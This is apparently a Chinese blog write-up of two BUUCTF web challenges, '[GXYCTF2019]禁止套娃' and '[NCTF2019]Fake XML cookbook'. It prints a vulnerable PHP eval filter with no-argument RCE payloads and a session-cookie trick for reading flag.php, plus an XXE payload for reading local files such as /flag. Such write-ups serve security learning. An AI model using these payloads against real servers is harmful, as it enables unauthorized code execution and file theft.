buu做题(5)

目录

[GXYCTF2019]禁止套娃

方法一:

方法二:

[[NCTF2019]Fake XML cookbook](#[NCTF2019]Fake XML cookbook)


[GXYCTF2019]禁止套娃

页面里啥也没有

使用dirsearch 扫一下目录

发现有 git

使用工具githack拉取源码

php 复制代码
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>
 

禁用了各种php伪协议,

if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))

很明显的无参数rce , 只能使用函数, 里面不能有参数

后面的正则又过滤了很多东西, 很多函数用不了

方法一:

current(localeconv())永远都是个点 " . " 配合 scandir(current(localeconv())) 读取当前的目录

可以看到需要的flag.php文件 , 要想办法读到这个文件

next() : 将内部指针指向数组中的下一个元素

array_reverse() : 函数以相反的元素顺序返回数组

?exp=var_dump(next(array_reverse(scandir(current(localeconv())))));

?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));

方法二:

session_id()可以用来获取 设置当前会话 ID。 那么可以用这个函数来获取cookie中的phpsessionid了,并且这个值我们是可控的。

在使用 session_id()的时候 需要使用session_start()来开启session会话

控制 cookie 的 PHPSESSID 为flag.php 从而读取这个文件

?exp=highlight_file(session_id(session_start()));
Cookie: PHPSESSID=flag.php

在这里本来还想着是否能够命令执行来着

但是好像也只能列出来, 无法读取

cat flag.php不了

ls 也只能读当前目录 , 想要读根目录也不行

估计是空格的原因, 毕竟这里是PHPSESSID= 的内容

可以执行 whoami , id 这种单独的一个命令的

[NCTF2019]Fake XML cookbook

一个登录框

抓包看看

格式感觉有点奇怪

题目提示 xml

查看源代码. 分析

[NCTF2019]Fake XML cookbook(特详解) - 技术栈

XML实体注入漏洞(XXE)

(这一块的内容也还不是很了解, 后面还得继续学习一下)

读取flag:

<?xml version = "1.0" encoding = "utf-8"?>

<!DOCTYPE test [

<!ENTITY admin SYSTEM "file:///flag">

]>

<user><username>&admin;</username><password>1123</password></user>

不晓得为啥总是读取不了 , file:///etc/passwd 也读不了, 也不晓得是啥原因

相关推荐
曲幽9 小时前
FastAPI压力测试实战:Locust模拟真实用户并发及优化建议
python·fastapi·web·locust·asyncio·test·uvicorn·workers
曲幽1 天前
FastAPI实战:打造本地文生图接口,ollama+diffusers让AI绘画更听话
python·fastapi·web·cors·diffusers·lcm·ollama·dreamshaper8·txt2img
曲幽2 天前
我用FastAPI接ollama大模型,差点被asyncio整崩溃(附对话窗口实战)
python·fastapi·web·async·httpx·asyncio·ollama
曲幽3 天前
FastAPI + Ollama 实战:搭一个能查天气的AI助手
python·ai·lora·torch·fastapi·web·model·ollama·weatherapi
holeer5 天前
【V1.0】Typora 中的 HTML 支持|软件文档自翻译
前端·编辑器·html·typora·web·markdown·文档
努力的lpp5 天前
【ctf常用备用文件名字典】
web安全·网络安全·ctf
敲敲了个代码6 天前
浏览器时间管理大师:深度拆解 5 大核心调度 API
前端·javascript·学习·web
m0_738120726 天前
sqli-labs过关解析(17- 20附带源码解析)
数据库·sql·web安全·php·ctf·安全性测试
差不多的张三7 天前
【RSS】博客收集
web
Pure_White_Sword7 天前
bugku-reverse题目-NoString
网络安全·ctf·reverse·逆向工程